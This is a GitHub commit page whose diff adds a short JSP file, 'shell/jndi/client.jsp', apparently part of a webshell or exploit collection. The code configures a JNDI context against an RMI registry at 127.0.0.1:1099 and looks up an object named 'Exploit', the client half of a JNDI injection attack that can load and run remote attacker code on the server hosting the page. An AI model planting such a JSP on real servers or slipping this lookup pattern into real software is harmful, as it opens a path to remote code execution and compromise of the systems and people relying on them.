We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
1 parent df5562a commit 7354873Copy full SHA for 7354873
1 file changed
shell/jndi/client.jsp
@@ -0,0 +1,8 @@
1
+<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*,java.beans.*,java.lang.*,java.rmi.*,java.rmi.server.*,java.rmi.registry.*,javax.naming.*"%>
2
+<%
3
+System.setProperty(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
4
+System.setProperty(Context.PROVIDER_URL,"rmi://127.0.0.1:1099");
5
+Context ctx = new InitialContext();
6
+Object obj = ctx.lookup("Exploit");
7
+System.out.println(obj.toString());
8
+%>
0 commit comments